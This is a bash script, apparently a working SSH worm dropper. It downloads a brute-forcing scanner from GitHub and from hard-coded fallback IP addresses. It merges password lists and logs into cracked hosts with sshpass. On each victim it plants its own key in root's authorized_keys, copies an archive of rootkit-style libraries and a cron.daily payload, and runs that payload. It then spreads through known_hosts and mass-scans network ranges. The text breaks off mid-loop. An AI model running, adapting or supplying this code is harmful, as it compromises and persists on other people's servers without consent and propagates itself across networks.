#!/bin/bash
TZ='Europe/Moscow' date '+%F %T' >/usr/spirit/date
DNS=$(cat /etc/resolv.conf)
if [[ $DNS == *8.8.8.8* ]]; then
    echo "DNS OK"
else
    echo nameserver 8.8.8.8 >>/etc/resolv.conf
fi
function __curl() {
    read proto server path <<<$(echo "${1//// }")
    DOC=/${path// //}
    HOST=${server//:*/}
    PORT=${server//*:/}
    [[ "${HOST}" == "${PORT}" ]] && PORT=80

    exec 3<>/dev/tcp/"${HOST}"/$PORT
    echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
    (while read line; do
        [[ "$line" == $'\r' ]] && break
    done && cat) <&3
    exec 3>&-
}
function testport() {
    if command -v nc &>/dev/null && nc -h 2>&1 | grep -q -- '-z'; then
        timeout 30 nc "$1" "$2" -z -w 2
        return $?
    elif command -v nc &>/dev/null; then
        cat /dev/null | timeout 30 nc "$1" "$2" -w 2
        return $?
    else
        timeout 5 bash -c '</dev/tcp/'"$1"'/'"$2"' &>/dev/null'
        return $?
    fi
}
InfoG() {
    echo -en "${green}${1}${nc}\n"
}
InfoR() {
    echo -en "${red}${1}${nc}\n"
}
InfoP() {
    echo -en "${purple}${1}${nc}\n"
}
red="\e[1;31m"
green="\e[1;32m"
purple="\033[1;35m"
nc="\e[0m"
if [ -f /root/lib/fileconf ]; then
    FILE_NAME=$($(sed -n '1{p;q}' /root/lib/fileconf))
    SERVICE_NAME=$($(sed -n '2{p;q}' /root/lib/fileconf))
    PATH_NAME=$($(sed -n '3{p;q}' /root/lib/fileconf))
    PATH_RES=$($(sed -n '4{p;q}' /root/lib/fileconf))
    FILE_RES=$($(sed -n '5{p;q}' /root/lib/fileconf))
    PATH_REZ=$($(sed -n '6{p;q}' /root/lib/fileconf))
    FILE_REZ=$($(sed -n '7{p;q}' /root/lib/fileconf))
else
    FILE_NAME="libgcc_a"
    SERVICE_NAME="crtend_b"
    PATH_NAME="gcclib"
    PATH_RES="/usr/lib/local"
    FILE_RES="crtres_c"
    PATH_REZ="/etc/lib"
    FILE_REZ="adxintrin_b"
fi
if [ -f /usr/spirit/myip ]; then
    sed -i -e 's/\s\+/\n/g' /usr/spirit/myip
    sed -i -e '$a\' /usr/spirit/myip
    TESTIP=$(cat /usr/spirit/myip)
    if [ ! -z "$TESTIP" ]; then
        cat /usr/spirit/myip /usr/spirit/ip.txt 2>/dev/null | sort | uniq >/usr/spirit/allip
        sed -i -e '$a\' /usr/spirit/allip
    fi
fi

if [ -f /root/$PATH_NAME/ip.txt ]; then
    cat /usr/spirit/allip /root/$PATH_NAME/ip.txt 2>/dev/null | sort | uniq >/usr/spirit/ip.txt
    sed -i -e '$a\' /usr/spirit/ip.txt
else
    mv -f /usr/spirit/allip /usr/spirit/ip.txt
    sed -i -e '$a\' /usr/spirit/ip.txt
fi
function get_remote_file() {
    REQUEST_URL=$1
    OUTPUT_FILENAME=$2
    TEMP_FILE="${THISDIR}/tmp.file"
    retfunc() {
        return "$1"
    }
    if command -v wget &>/dev/null; then
        InfoP "Try download $FILENAME via a direct connection ..."
        if command -v wget &>/dev/null && wget -h 2>&1 | grep -q -- '--tries'; then
            wget --no-check-certificate --timeout=2 --tries=3 -O "${TEMP_FILE}" "$REQUEST_URL" 2>&1 >/dev/null 2>&1
        else
            wget --no-check-certificate --timeout=5 -O "${TEMP_FILE}" "$REQUEST_URL" 2>&1 >/dev/null 2>&1
        fi
    elif command -v curl &>/dev/null; then
        InfoP "Try download $FILENAME with Curl via a direct connection..."
        curl --connect-timeout 2 -o "${TEMP_FILE}" "$REQUEST_URL"
    else
        InfoP "Try download $FILENAME with /dev/tcp via a direct connection..."
        __curl "$REQUEST_URL" >"${TEMP_FILE}"
    fi
    ########################################################################################
    err=$?
    if [[ $err -eq 0 ]]; then
        mv -f "${TEMP_FILE}" "${OUTPUT_FILENAME}"
        chmod 755 "${OUTPUT_FILENAME}"
        InfoG "$FILENAME File downloaded"
    else
        REQUEST_URL="http://5.133.65.53/soft/linux/$FILENAME"
        REMOTE_SERVER="5.133.65.53
    45.142.212.30"
        echo "$REMOTE_SERVER" | while IFS= read -r line; do
            line=$(echo -e "${line}" | sed -r 's/ //g')
            URL=$(echo "$REQUEST_URL" | sed -r "s#(http?://)?([^/]+)(.*)#\1$line\3#")
            echo $URL
            if command -v wget &>/dev/null; then
                InfoP "Try download $FILENAME via a direct connection $line ..."
                if command -v wget &>/dev/null && wget -h 2>&1 | grep -q -- '--tries'; then
                    wget --timeout=2 --tries=3 -O "${TEMP_FILE}" "$URL" 2>&1 >/dev/null 2>&1
                else
                    wget --timeout=5 -O "${TEMP_FILE}" "$URL" 2>&1 >/dev/null 2>&1
                fi
            elif command -v curl &>/dev/null; then
                InfoP "Try download $FILENAME with Curl via a direct connection $line..."
                curl --connect-timeout 2 -o "${TEMP_FILE}" "$URL"
            else
                InfoP "Try download $FILENAME with /dev/tcp via a direct connection $line..."
                __curl "$URL" >"${TEMP_FILE}"
            fi
            err=$?
            if [[ $err -eq 0 ]]; then
                return 0
            else
                retfunc 3
            fi
        done
        err=$?
        if [[ $err -eq 0 ]]; then
            mv -f "${TEMP_FILE}" "${OUTPUT_FILENAME}"
            chmod 755 "${OUTPUT_FILENAME}"
            InfoG "$FILENAME File downloaded"
        else
            if [[ ! -z $(cat /usr/spirit/ip.txt) ]]; then
                port=757
                threads=40
                IPS=''
                echo '' >/usr/spirit/found757.lst
                echo '' >/usr/spirit/targets757
                echo '' >/usr/spirit/logfile757
                IPS=$(cat /usr/spirit/ip.txt)
                server=''
                for server in $IPS; do
                    server=${server//[[:space:]]/}
                    echo $port "$server" >>/usr/spirit/targets757
                done
                InfoP "Scanning port 757..."

                if command -v nc &>/dev/null && nc -h 2>&1 | grep -q -- '-z'; then
                    xargs -a /usr/spirit/targets757 -n 2 -P $threads sh -c 'timeout 30 nc $1 '$port' -z -w 2; echo $? $1 >> /usr/spirit/logfile757'
                elif command -v nc &>/dev/null; then
                    xargs -a /usr/spirit/targets757 -n 2 -P $threads sh -c 'cat /dev/null |timeout 30 nc $1 '$port' -w 2 >/dev/null 2>&1; echo $? $1 >> /usr/spirit/logfile757'
                else
                    xargs -a /usr/spirit/targets757 -n 2 -P $threads bash -c 'timeout 3 bash -c "</dev/tcp/$1/'$port' &>/dev/null"; echo $? $1 >> /usr/spirit/logfile757'
                fi

                grep "^0" /usr/spirit/logfile757 | cut -d " " -f2 >/usr/spirit/found757.lst
                if [ -f /usr/spirit/found757.lst ]; then
                    REQUEST_URL="http://5.133.65.53/soft/linux/$FILENAME"
                    FOUND=$(cat /usr/spirit/found757.lst)
                    for server in $FOUND; do
                        server=${server//[[:space:]]/}
                        REMOTEHOST=$server
                        REMOTEPORT=757
                        TIMEOUT=2
                        if testport "$REMOTEHOST" $REMOTEPORT; then
                            if command -v wget &>/dev/null; then
                                InfoP "Try download $FILENAME via $REMOTEHOST..."
                                if command -v wget &>/dev/null && wget -h 2>&1 | grep -q -- '--tries'; then
                                    http_proxy="http://$REMOTEHOST:757" wget --timeout=2 --tries=3 -O "${TEMP_FILE}" "$REQUEST_URL" 2>&1 >/dev/null 2>&1
                                else
                                    http_proxy="http://$REMOTEHOST:757" wget --timeout=5 -O "${TEMP_FILE}" "$REQUEST_URL" 2>&1 >/dev/null 2>&1
                                fi
                            elif command -v curl &>/dev/null; then
                                InfoP "Try download $FILENAME with Curl via $REMOTEHOST..."
                                curl -x "$REMOTEHOST:$REMOTEPORT" --connect-timeout 2 -o "${TEMP_FILE}" "$REQUEST_URL" >/dev/null 2>&1
                            else
                                InfoP "Try download $FILENAME with /dev/tcp via $REMOTEHOST"
                                __curl "http://$REMOTEHOST:$REMOTEPORT/soft/linux/$FILENAME" >"${TEMP_FILE}"
                            fi
                            err=$?
                            if [[ $err -eq 0 ]]; then
                                mv -f "${TEMP_FILE}" "${OUTPUT_FILENAME}"
                                chmod 755 "${OUTPUT_FILENAME}"
                                CHECK_FILE=1
                                break
                            else
                                InfoR "The file is broken "
                            fi
                        else
                            InfoR "$REMOTEHOST Port $REMOTEPORT closed"
                            CHECK_FILE=0
                        fi
                    done
                    if [[ "$CHECK_FILE" -eq 1 ]]; then
                        InfoG "$FILENAME File downloaded"
                    else
                        return 1
                    fi
                else
                    return 1
                fi
            else
                return 1
            fi
        fi
    fi
}
function get_spirit() {
    if [ $(arch) == "aarch64" ]; then
        DOWNLOAD_FILE_NAME="spirit-arm.tgz"
    else
        DOWNLOAD_FILE_NAME="spirit.tgz"
    fi
    FILENAME="$DOWNLOAD_FILE_NAME"
    FILE_URL="https://github.com/theaog/spirit/raw/master/$DOWNLOAD_FILE_NAME"
    EXISTING_SHELL_SCRIPT_FILE="${THISDIR}/$FILENAME"
    get_remote_file "${FILE_URL}" "${EXISTING_SHELL_SCRIPT_FILE}"
    if [ $(arch) == "aarch64" ]; then
        DOWNLOAD_FILE_NAME="spirit.tgz"
        FILENAME="$DOWNLOAD_FILE_NAME"
        FILE_URL="https://github.com/theaog/spirit/raw/master/$DOWNLOAD_FILE_NAME"
        EXISTING_SHELL_SCRIPT_FILE="${THISDIR}/$FILENAME"
        get_remote_file "${FILE_URL}" "${EXISTING_SHELL_SCRIPT_FILE}"
    else
        DOWNLOAD_FILE_NAME="spirit-arm.tgz"
        FILENAME="$DOWNLOAD_FILE_NAME"
        FILE_URL="https://github.com/theaog/spirit/raw/master/$DOWNLOAD_FILE_NAME"
        EXISTING_SHELL_SCRIPT_FILE="${THISDIR}/$FILENAME"
        get_remote_file "${FILE_URL}" "${EXISTING_SHELL_SCRIPT_FILE}"
    fi
    mkdir -p /usr/spirit/tmp >/dev/null 2>&1
    tar --overwrite -zmxvf spirit.tgz -C /usr/spirit/tmp >/dev/null 2>&1
    tar --overwrite -zmxvf spirit-arm.tgz -C /usr/spirit/tmp >/dev/null 2>&1
    rm -fr /usr/spirit/test.log
    mv -f /usr/spirit/tmp/spirit-arm /usr/spirit/spirit-arm >/dev/null 2>&1
    mv -f /usr/spirit/tmp/spirit /usr/spirit/spirit >/dev/null 2>&1
    rm -fr /usr/spirit/tmp /usr/spirit/spirit.tgz >/dev/null 2>&1
    rm -fr /usr/spirit/tmp /usr/spirit/spirit-arm.tgz >/dev/null 2>&1
    chmod 755 /usr/spirit/spirit /usr/spirit/spirit-arm /usr/spirit/sshpass /usr/spirit/sshpass-arm >/dev/null 2>&1
    \cp /usr/spirit/spirit /usr/spirit/tar/usr/spirit/spirit >/dev/null 2>&1
    \cp /usr/spirit/spirit-arm /usr/spirit/tar/usr/spirit/spirit-arm >/dev/null 2>&1
    cd /usr/spirit/tar
    tar -zcf /var/lib/${FILE_NAME}.tar.gz "root/$PATH_NAME/xfitaarch.sh" "root/$PATH_NAME/timeoutaarch" "root/$PATH_NAME/timeout64" "root/$PATH_NAME/xfit.sh" \
        "root/$PATH_NAME/ip.txt_tmp" "root/$PATH_NAME/$FILE_NAME" "etc/cron.daily/xbash" "usr/$FILE_REZ" "usr/local/lib/pkit.so" \
        "usr/local/lib/fkit.so" "usr/local/lib/skit.so" "usr/local/lib/sshkit.so" "usr/local/lib/sshpkit.so" "usr/local/lib/fkitarm.so" "usr/local/lib/skitarm.so" \
        "usr/local/lib/pkitarm.so" "usr/local/lib/sshkitarm.so" "usr/local/lib/sshpkitarm.so"\
        "usr/spirit/spirit" "usr/spirit/spirit-arm" "usr/spirit/sshpass" "usr/spirit/sshpass-arm" "usr/spirit/ip.txt_tmp" "usr/spirit/spirit.sh" \
        "usr/spirit/typical" "usr/spirit/gclib" "usr/spirit/alllib"
    cd /usr/spirit
}

function testgcc() {
    retfunc() {
        return "$1"
    }
    USERPATH="/etc/opt
    /etc/libnl
    /etc/postfix
    /home/lib
    /home/lib64
    /sbin
    /var/kernel
    /var/log
    /var/crash
    /mnt
    /root/$PATH_NAME"
    echo "$USERPATH" | while IFS= read -r line; do
        if [ -f $line/gcc_p ]; then
            return 2
        elif [ -f $line/gcc_y ]; then
            return 1
        else
            retfunc 3
        fi
    done
    err=$?
    if [[ $err -eq 2 ]]; then
        USR=1
    elif [[ $err -eq 3 ]]; then
        if [ -d /root/xfit -o -d /root/.xfit -o -d /etc/alternatives/xfit -o -d /etc/alternatives/.xfit ]; then
            USR=0
        elif [ -f /root/.warmup/config.json ]; then
            CONF=$(cat /root/.warmup/config.json)
            if [[ $CONF == *24444* ]]; then
                USR=1
            else
                USR=0
            fi
        elif [ -f /etc/alternatives/.warmup/config.json ]; then
            CONF=$(cat /etc/alternatives/.warmup/config.json)
            if [[ $CONF == *24444* ]]; then
                USR=1
            else
                USR=0
            fi
        fi
    else
        USR=0
    fi
    if [ $USR -eq 1 ]; then
        GCC_FILE=gcc_p
        USR=1
    else
        GCC_FILE=gcc_y
        USR=0
    fi
}
function installgcc() {
    if [ -f /usr/spirit/found.ssh ]; then
        TEST=$(cat /usr/spirit/found.ssh)
        if [ ! -z "$TEST" ]; then
            if [ ! -f /usr/spirit/id_rsa ]; then
                ssh-keygen -b 2048 -t rsa -f /usr/spirit/id_rsa -q -N ""
            fi
            chmod 600 /usr/spirit/id_rsa >/dev/null 2>&1
            sed -r 's/\[[0-9]{2}\/[0-9]{2} [0-9]{2}:[0-9]{2}]//g' /usr/spirit/found.ssh | sort | uniq >/usr/spirit/sortfound.ssh
            mv -f /usr/spirit/sortfound.ssh /usr/spirit/found.ssh
            filename='/usr/spirit/found.ssh'
            exec 4<"$filename"
            while read -u4 p; do
                if [ ! -z "$p" ]; then
                    stringarray=($p)
                    PASS=${stringarray[5]}
                    LOGIN=${stringarray[1]}
                    InfoP "Try Install on $LOGIN"
                    /usr/spirit/$SSHPASS_NAME -p "${PASS}" ssh -oStrictHostKeyChecking=no -oHostKeyAlgorithms=ssh-rsa -o ConnectTimeout=15 ${LOGIN} 'exit 22' ||
                        /usr/spirit/$SSHPASS_NAME -p "${PASS}" ssh -oStrictHostKeyChecking=no -o ConnectTimeout=15 ${LOGIN} 'exit 33'
                    err=$?
                    if [[ $err -eq 22 ]]; then
                        OPT='-oHostKeyAlgorithms=ssh-rsa'
                        unset INPOSSIBLE
                    elif [[ $err -eq 33 ]]; then
                        unset OPT
                        unset INPOSSIBLE
                    else
                        INPOSSIBLE="1"
                    fi
                    if [ -z "$INPOSSIBLE" ]; then
                        ssh -q -o BatchMode=yes -i /usr/spirit/id_rsa -oStrictHostKeyChecking=no $OPT -o ConnectTimeout=5 ${LOGIN} 'exit 0'
                        if [ $? -ne 0 ]; then
                            InfoP "SSH connection without pass not possible. Try add RSA and install"
                            echo "create path"
                            /usr/spirit/$SSHPASS_NAME -p "${PASS}" ssh -oStrictHostKeyChecking=no $OPT -o ConnectTimeout=15 ${LOGIN} "mkdir -p /etc/lib /var/lib >/dev/null 2>&1 >/dev/null 2>&1"
                            echo "add authorized_keys"
                            cat /usr/spirit/id_rsa.pub | /usr/spirit/$SSHPASS_NAME -p "${PASS}" ssh -oStrictHostKeyChecking=no $OPT -o ConnectTimeout=15 "${LOGIN}" 'mkdir -pm 0700 /root/.ssh &&
    while read -r ktype key comment; do
        if ! (grep -Fw "$ktype $key" ~/.ssh/authorized_keys | grep -qsvF "^#"); then
            echo "$ktype $key $comment" >> ~/.ssh/authorized_keys
        fi
    done'
                            echo "add permission"
                            /usr/spirit/$SSHPASS_NAME -p "${PASS}" ssh -oStrictHostKeyChecking=no $OPT -o ConnectTimeout=15 ${LOGIN} 'chmod g-w /root/.ssh; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; if [ -n "$(which restorecon 2>/dev/null)" ]; then restorecon -R -v /root/.ssh; fi'
                            echo "copy files"
                            /usr/spirit/$SSHPASS_NAME -p "${PASS}" scp -oStrictHostKeyChecking=no $OPT -o ConnectTimeout=15 /var/lib/${FILE_NAME}.tar.gz ${LOGIN}:/var/lib/${FILE_NAME}.tar.gz
                            echo "unpack archive"
                            /usr/spirit/$SSHPASS_NAME -p "${PASS}" ssh -oStrictHostKeyChecking=no $OPT -o ConnectTimeout=15 ${LOGIN} 'tar -C "/" --overwrite -xmvzf /var/lib/'${FILE_NAME}'.tar.gz'
                            echo "run install"
                            /usr/spirit/$SSHPASS_NAME -p "${PASS}" ssh -oStrictHostKeyChecking=no $OPT -o ConnectTimeout=15 ${LOGIN} 'chmod 755 /etc/cron.daily/xbash; echo "" >/root/'$GCC_FILE'; /etc/cron.daily/xbash '$USR' 0 `</dev/null` >nohup.out 2>&1 &'
                        else
                            InfoG "SSH connection without pass is possible. Install"
                            ssh -i /usr/spirit/id_rsa -oStrictHostKeyChecking=no $OPT ${LOGIN} "mkdir -p /etc/lib /var/lib >/dev/null 2>&1"
                            scp -i /usr/spirit/id_rsa -oStrictHostKeyChecking=no $OPT /var/lib/${FILE_NAME}.tar.gz ${LOGIN}:/var/lib/${FILE_NAME}.tar.gz
                            ssh -i /usr/spirit/id_rsa -oStrictHostKeyChecking=no $OPT ${LOGIN} 'tar -C "/" --overwrite -xmvzf /var/lib/'${FILE_NAME}'.tar.gz'
                            ssh -i /usr/spirit/id_rsa -oStrictHostKeyChecking=no $OPT ${LOGIN} 'chmod 755 /etc/cron.daily/xbash; echo "" >/root/'$GCC_FILE'; /etc/cron.daily/xbash '$USR' 0 `</dev/null` >nohup.out 2>&1 &'
                        fi
                    else
                        InfoR "Connect to $LOGIN inpossible"
                    fi
                fi
            done
        fi
    fi
}
mkdir -p /usr/spirit >/dev/null 2>&1
cd /usr/spirit
THISDIR=/usr/spirit
if [ $(arch) == "aarch64" ]; then
    DOWNLOAD_FILE_NAME="spirit-arm.tgz"
else
    DOWNLOAD_FILE_NAME="spirit.tgz"
fi
FILENAME="$DOWNLOAD_FILE_NAME"
FILE_URL="https://github.com/theaog/spirit/raw/master/$DOWNLOAD_FILE_NAME"
EXISTING_SHELL_SCRIPT_FILE="${THISDIR}/$FILENAME"
rm -fr /usr/spirit/test.log
if [ $(arch) == "aarch64" ]; then
    SPIRIT_NAME="spirit-arm"
    SSHPASS_NAME="sshpass-arm"
else
    SPIRIT_NAME="spirit"
    SSHPASS_NAME="sshpass"
fi
unset errspirit
./$SPIRIT_NAME >/usr/spirit/test.log
errspirit=$?
unset CHESK
CHESK=$(cat "/usr/spirit/test.log")
if [[ $CHESK == *expired* ]] || [[ $errspirit -ne 0 ]]; then
    get_remote_file "${FILE_URL}" "${EXISTING_SHELL_SCRIPT_FILE}"
    if [ $(arch) == "aarch64" ]; then
        DOWNLOAD_FILE_NAME="spirit.tgz"
        FILENAME="$DOWNLOAD_FILE_NAME"
        FILE_URL="https://github.com/theaog/spirit/raw/master/$DOWNLOAD_FILE_NAME"
        EXISTING_SHELL_SCRIPT_FILE="${THISDIR}/$FILENAME"
        get_remote_file "${FILE_URL}" "${EXISTING_SHELL_SCRIPT_FILE}"
    else
        DOWNLOAD_FILE_NAME="spirit-arm.tgz"
        FILENAME="$DOWNLOAD_FILE_NAME"
        FILE_URL="https://github.com/theaog/spirit/raw/master/$DOWNLOAD_FILE_NAME"
        EXISTING_SHELL_SCRIPT_FILE="${THISDIR}/$FILENAME"
        get_remote_file "${FILE_URL}" "${EXISTING_SHELL_SCRIPT_FILE}"
    fi
    mkdir -p /usr/spirit/tmp >/dev/null 2>&1
    tar --overwrite -zmxvf spirit.tgz -C /usr/spirit/tmp >/dev/null 2>&1
    tar --overwrite -zxmvf spirit-arm.tgz -C /usr/spirit/tmp >/dev/null 2>&1
    rm -fr /usr/spirit/test.log
    mv -f /usr/spirit/tmp/spirit-arm /usr/spirit/spirit-arm >/dev/null 2>&1
    mv -f /usr/spirit/tmp/spirit /usr/spirit/spirit >/dev/null 2>&1
    rm -fr /usr/spirit/tmp /usr/spirit/spirit.tgz >/dev/null 2>&1
    rm -fr /usr/spirit/tmp /usr/spirit/spirit-arm.tgz >/dev/null 2>&1
fi
chmod 755 /usr/spirit/spirit /usr/spirit/spirit-arm /usr/spirit/sshpass /usr/spirit/sshpass-arm
#cat  | grep -q 'has expired' && EXPIRED="1" || EXPIRED="0"
#############################################################################################
THISDIR=$(
    cd "$(dirname "$0")" || exit
    pwd
)
MY_NAME=$(basename "$0")
if [ -f $THISDIR/${MY_NAME}.pid ]; then
    SCRIPTPID=$(cat $THISDIR/${MY_NAME}.pid)
    if [ -f /proc/$SCRIPTPID/status ]; then
        cat /proc/$SCRIPTPID/status | grep -q ${MY_NAME} && unset RUN || RUN=1
    else
        RUN=1
    fi
else
    RUN=1
fi
if [[ $RUN == 1 ]]; then
    echo "$$" >$THISDIR/${MY_NAME}.pid
    ulimit -n 65535
    ################################
    testgcc
    ################################
    if [ -f /usr/spirit/ForTest.txt ]; then
        sed -i 's/^/root:/' /usr/spirit/ForTest.txt
        sed -i -e '$a\' /usr/spirit/ForTest.txt
        if [ -f /usr/spirit/gclib ]; then
            cat /usr/spirit/ForTest.txt /usr/spirit/gclib 2>/dev/null | sort | uniq >/usr/spirit/ForTest_tmp.txt
            mv -f /usr/spirit/ForTest_tmp.txt /usr/spirit/gclib
            sed -i -e '$a\' /usr/spirit/gclib
            rm -fr /usr/spirit/ForTest.txt >/dev/null 2>&1
        else
            mv -f /usr/spirit/ForTest.txt /usr/spirit/gclib
            sed -i -e '$a\' /usr/spirit/gclib
        fi
    fi

    if [ -f /usr/spirit/password.txt ]; then
        sed -i 's/^/root:/' /usr/spirit/password.txt
        sed -i -e '$a\' /usr/spirit/password.txt
        if [ -f /usr/spirit/typical ]; then
            sed -i -e '$a\' /usr/spirit/typical
            cat /usr/spirit/password.txt /usr/spirit/typical 2>/dev/null | sort | uniq >/usr/spirit/typical_tmp
            mv -f /usr/spirit/typical_tmp /usr/spirit/typical
            sed -i -e '$a\' /usr/spirit/typical
            rm -fr /usr/spirit/password.txt >/dev/null 2>&1
        else
            mv -f /usr/spirit/password.txt /usr/spirit/typical
            sed -i -e '$a\' /usr/spirit/typical
        fi
    fi
    cat /usr/spirit/typical /usr/spirit/gclib /usr/spirit/alllib 2>/dev/null | sort | uniq >/usr/spirit/alllib_tmp
    mv -f /usr/spirit/alllib_tmp /usr/spirit/alllib >/dev/null 2>&1
    sed -i -e '$a\' /usr/spirit/alllib

    USERPATH="/usr/spirit/tar
    /usr/spirit/tar/root
    /usr/spirit/tar/etc
    /usr/spirit/tar/usr/local/lib
    /usr/spirit/tar/usr/spirit
    /usr/spirit/tar/etc/cron.daily
    /usr/spirit/tar/root/$PATH_NAME"
    echo "$USERPATH" | while IFS= read -r line; do
        if [ ! -d $line ]; then
            mkdir -p $line >/dev/null 2>&1
        fi
    done
    USERFILE="root/$PATH_NAME/xfitaarch.sh
root/$PATH_NAME/timeoutaarch
root/$PATH_NAME/xfit.sh
root/$PATH_NAME/timeout64
root/$PATH_NAME/ip.txt
root/$PATH_NAME/$FILE_NAME
etc/cron.daily/xbash
usr/$FILE_REZ
usr/local/lib/pkit.so
usr/local/lib/fkit.so
usr/local/lib/skit.so
usr/local/lib/sshkit.so
usr/local/lib/sshpkit.so
usr/local/lib/sshkitarm.so
usr/local/lib/sshpkitarm.so
usr/local/lib/pkitarm.so
usr/local/lib/fkitarm.so
usr/local/lib/skitarm.so
usr/spirit/spirit
usr/spirit/spirit-arm
usr/spirit/sshpass
usr/spirit/sshpass-arm
usr/spirit/ip.txt
usr/spirit/spirit.sh
usr/spirit/typical
usr/spirit/gclib
usr/spirit/alllib"
    cd /
    echo "$USERFILE" | while IFS= read -r line; do
        if [ -f /$line ]; then
            if [[ $line = *ip.txt ]]; then
                \cp /$line /usr/spirit/tar/${line}_tmp >/dev/null 2>&1
            else
                \cp /$line /usr/spirit/tar/$line >/dev/null 2>&1
            fi
        fi
    done

    cd /usr/spirit/tar
    tar -zcf /var/lib/${FILE_NAME}.tar.gz "root/$PATH_NAME/xfitaarch.sh" "root/$PATH_NAME/timeoutaarch" "root/$PATH_NAME/timeout64" "root/$PATH_NAME/xfit.sh" \
        "root/$PATH_NAME/ip.txt_tmp" "root/$PATH_NAME/$FILE_NAME" "etc/cron.daily/xbash" "usr/$FILE_REZ" "usr/local/lib/pkit.so" \
        "usr/local/lib/fkit.so" "usr/local/lib/skit.so" "usr/local/lib/sshkit.so" "usr/local/lib/sshpkit.so" "usr/local/lib/fkitarm.so" "usr/local/lib/skitarm.so" \
        "usr/local/lib/sshkitarm.so" "usr/local/lib/pkitarm.so" "usr/local/lib/sshpkitarm.so" "usr/spirit/alllib" \
        "usr/spirit/spirit" "usr/spirit/spirit-arm" "usr/spirit/sshpass" "usr/spirit/sshpass-arm" "usr/spirit/ip.txt_tmp" "usr/spirit/spirit.sh" \
        "usr/spirit/typical" "usr/spirit/gclib" "usr/spirit/alllib"
    cd /usr/spirit
    deployToServer() {
        echo "Deployng to $1@$2 from $3"
        ssh -oStrictHostKeyChecking=no -oHostKeyAlgorithms=ssh-rsa -o ConnectTimeout=15 $1@$2 'exit 22' ||
            ssh -oStrictHostKeyChecking=no -oHostKeyAlgorithms=ssh-rsa -o ConnectTimeout=15 $1@$2 'exit 33'
        err=$?
        if [[ $err -eq 22 ]]; then
            OPT='-oHostKeyAlgorithms=ssh-rsa'
            unset INPOSSIBLE
        elif [[ $err -eq 33 ]]; then
            unset OPT
            unset INPOSSIBLE
        else
            INPOSSIBLE="1"
        fi
        if [ -z "$INPOSSIBLE" ]; then
            if [ -z "$(cat ~/.ssh/known_hosts | grep $2)" ] && [ -z "$(ssh-keygen -F $2)" ]; then
                echo 'Auto accepting SSH key'
                ssh -oStrictHostKeyChecking=no $OPT $1@$2 "mkdir -p /etc/lib /var/lib >/dev/null 2>&1"
                scp -oStrictHostKeyChecking=no $OPT $3 $1@$2:/var/lib/${FILE_NAME}.tar.gz
                ssh -i /usr/spirit/id_rsa -oStrictHostKeyChecking=no $OPT 'tar -C "/" --overwrite -xvzmf /var/lib/'${FILE_NAME}'.tar.gz'
                ssh -i /usr/spirit/id_rsa -oStrictHostKeyChecking=no $OPT $1@$2 'chmod 755 /etc/cron.daily/xbash; echo "" >/root/'$GCC_FILE'; /etc/cron.daily/xbash '$USR' 0 `</dev/null` >nohup.out 2>&1 &'
            else
                ssh $OPT $1@$2 "mkdir -p /etc/lib /var/lib  >/dev/null 2>&1"
                scp $OPT $3 $1@$2:/var/lib/${FILE_NAME}.tar.gz
                ssh -i /usr/spirit/id_rsa $OPT $1@$2 'tar -C "/" --overwrite -xvzmf /var/lib/'${FILE_NAME}'.tar.gz'
                ssh -i /usr/spirit/id_rsa $OPT $1@$2 'chmod 755 /etc/cron.daily/xbash; echo "" >/root/'$GCC_FILE'; /etc/cron.daily/xbash '$USR' 0 `</dev/null` >nohup.out 2>&1 &'
            fi
        else
            InfoR "Connect to $2 inpossible"
        fi
    }
    installgcc
    if [ -f /root/.ssh/known_hosts ]; then
        TESTKH=$(cat /root/.ssh/known_hosts)
        if [ ! -z "$TESTKH" ]; then
            filename='/root/.ssh/known_hosts'
            exec 4<"$filename"
            echo Start
            while read -u4 p; do
                if [ ! -z "$p" ]; then
                    stringarray=($p)
                    HOST=${stringarray[0]}
                    ssh -q -o BatchMode=yes -oStrictHostKeyChecking=no -oHostKeyAlgorithms=ssh-rsa -o ConnectTimeout=5 ${HOST} 'exit 22' ||
                        ssh -q -o BatchMode=yes -oStrictHostKeyChecking=no -o ConnectTimeout=5 ${HOST} 'exit 33'
                    err=$?
                    echo $HOST
                    echo $err
                    if [[ $err == 22 ]] || [[ $err == 33 ]]; then
                        deployToServer root $HOST /var/lib/${FILE_NAME}.tar.gz
                    fi
                fi
            done
        fi
    fi
    cd /usr/spirit
    rm -fr /usr/spirit/test.log >/dev/null 2>&1
    unset errspirit
    ./$SPIRIT_NAME >/usr/spirit/test.log
    errspirit=$?
    unset CHESK
    CHESK=$(cat "/usr/spirit/test.log")
    if [[ $CHESK == *expired* ]] || [[ $errspirit -ne 0 ]]; then
        get_spirit
    fi
    /usr/spirit/$SPIRIT_NAME scan --local all --threads 1000

    mv -f /usr/spirit/scan.lst /usr/spirit/scan1.lst
    cd /usr/spirit
    rm -fr /usr/spirit/test.log >/dev/null 2>&1
    unset errspirit
    ./$SPIRIT_NAME >/usr/spirit/test.log
    errspirit=$?
    unset CHESK
    CHESK=$(cat "/usr/spirit/test.log")
    if [[ $CHESK == *expired* ]] || [[ $errspirit -ne 0 ]]; then
        get_spirit
    fi
    /usr/spirit/$SPIRIT_NAME scan --lan

    if [ -f /usr/spirit/scan.lst ]; then
        sed -i -e '$a\' /usr/spirit/scan.lst
    fi

    myIP=$(ip a s | sed -ne '/127.0.0.1/!{s/^[ \t]*inet[ \t]*\([0-9.]\+\)\/.*$/\1/p}')
    arrIN=(${myIP//./ })
    SUB=${arrIN[0]}
    if [ ! -z "$SUB" ]; then
        if [ $SUB -ne 192 ] && [ $SUB -ne 172 ] && [ $SUB -ne 10 ]; then
            mv -f /usr/spirit/scan.lst /usr/spirit/scan2.lst
            /usr/spirit/$SPIRIT_NAME scan --range "$SUB.1-255.1-255.1-255" --threads 1000
            sed -i -e '$a\' /usr/spirit/scan.lst
        fi
    fi

    if [ -f /usr/spirit/scan1.lst ]; then
        sed -i -e '$a\' /usr/spirit/scan1.lst
    fi
    cat /usr/spirit/scan.lst /usr/spirit/scan1.lst /usr/spirit/scan2.lst | sort | uniq >/usr/spirit/fscan.lst
    sed -i -e '$a\' /usr/spirit/fscan.lst
    rm -fr /usr/spirit/block.lst >/dev/null 2>&1
    if [ -f /usr/spirit/fscan.lst ]; then
        filename='/usr/spirit/myip'
        exec 4<"$filename"
        while read -u4 p; do
            if [ ! -z "$p" ]; then
                stringarray=($p)
                cat /usr/spirit/fscan.lst | grep -v $stringarray >/usr/spirit/fscan1.lst
                mv -f /usr/spirit/fscan1.lst /usr/spirit/fscan.lst
            fi
        done
